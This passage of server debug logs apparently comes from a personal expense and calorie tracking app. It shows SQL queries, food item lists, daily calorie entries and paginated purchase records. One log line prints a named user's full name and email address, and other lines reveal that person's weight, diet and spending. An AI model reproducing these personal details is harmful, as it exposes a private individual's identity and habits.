    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T06:35:53.711Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T06:35:53.711Z server-connect:app Executing action step select
2025-12-13T06:35:53.711Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T06:35:53.713Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  }
]
2025-12-13T06:35:53.713Z server-connect:app Executing action step setvalue
2025-12-13T06:35:53.713Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T06:35:53.714Z server-connect:output var_total: 257
2025-12-13T06:35:53.714Z server-connect:app Executing action step setvalue
2025-12-13T06:35:53.714Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T06:35:53.714Z server-connect:output var_consumed: 11
2025-12-13T06:35:53.714Z server-connect:app Executing action step setvalue
2025-12-13T06:35:53.714Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T06:35:53.714Z server-connect:output var_deficit: 2143
2025-12-13T06:35:53.714Z server-connect:app Executing action step custom
2025-12-13T06:35:53.715Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T06:35:53.717Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '257',
    surplus_or_deficit: '2143',
    status_flag: 2
  }
]
2025-12-13T06:37:33.529Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-13T06:37:33.531Z server-connect:router Serving serverConnect /api/expense/list
2025-12-13T06:37:33.536Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T06:37:33.537Z server-connect:app Executing action step identify
2025-12-13T06:37:33.537Z server-connect:app options: { provider: 'security' }
2025-12-13T06:37:33.537Z server-connect:output identity: 1
2025-12-13T06:37:33.537Z server-connect:app Executing action step restrict
2025-12-13T06:37:33.537Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:37:33.539Z server-connect:app Executing action step identify
2025-12-13T06:37:33.539Z server-connect:app options: { provider: 'security' }
2025-12-13T06:37:33.539Z server-connect:output identity: 1
2025-12-13T06:37:33.539Z server-connect:app Executing action step restrict
2025-12-13T06:37:33.539Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:37:33.540Z server-connect:output restrict: undefined
2025-12-13T06:37:33.540Z server-connect:app Executing action step select
2025-12-13T06:37:33.540Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-13T06:37:33.541Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T06:37:33.541Z server-connect:output restrict: undefined
2025-12-13T06:37:33.541Z server-connect:app Executing action step paged
2025-12-13T06:37:33.541Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-13T06:37:33.544Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-13T06:37:33.545Z server-connect:app Executing action step identify
2025-12-13T06:37:33.545Z server-connect:app options: { provider: 'security' }
2025-12-13T06:37:33.546Z server-connect:output identity: 1
2025-12-13T06:37:33.546Z server-connect:app Executing action step restrict
2025-12-13T06:37:33.546Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:37:33.547Z server-connect:app Executing action step identify
2025-12-13T06:37:33.547Z server-connect:app options: { provider: 'security' }
2025-12-13T06:37:33.547Z server-connect:output identity: 1
2025-12-13T06:37:33.547Z server-connect:app Executing action step restrict
2025-12-13T06:37:33.547Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:37:33.548Z server-connect:output restrict: undefined
2025-12-13T06:37:33.548Z server-connect:app Executing action step select
2025-12-13T06:37:33.548Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T06:37:33.549Z server-connect:output restrict: undefined
2025-12-13T06:37:33.549Z server-connect:app Executing action step single
2025-12-13T06:37:33.549Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T06:37:33.549Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T06:37:33.553Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T06:37:33.558Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
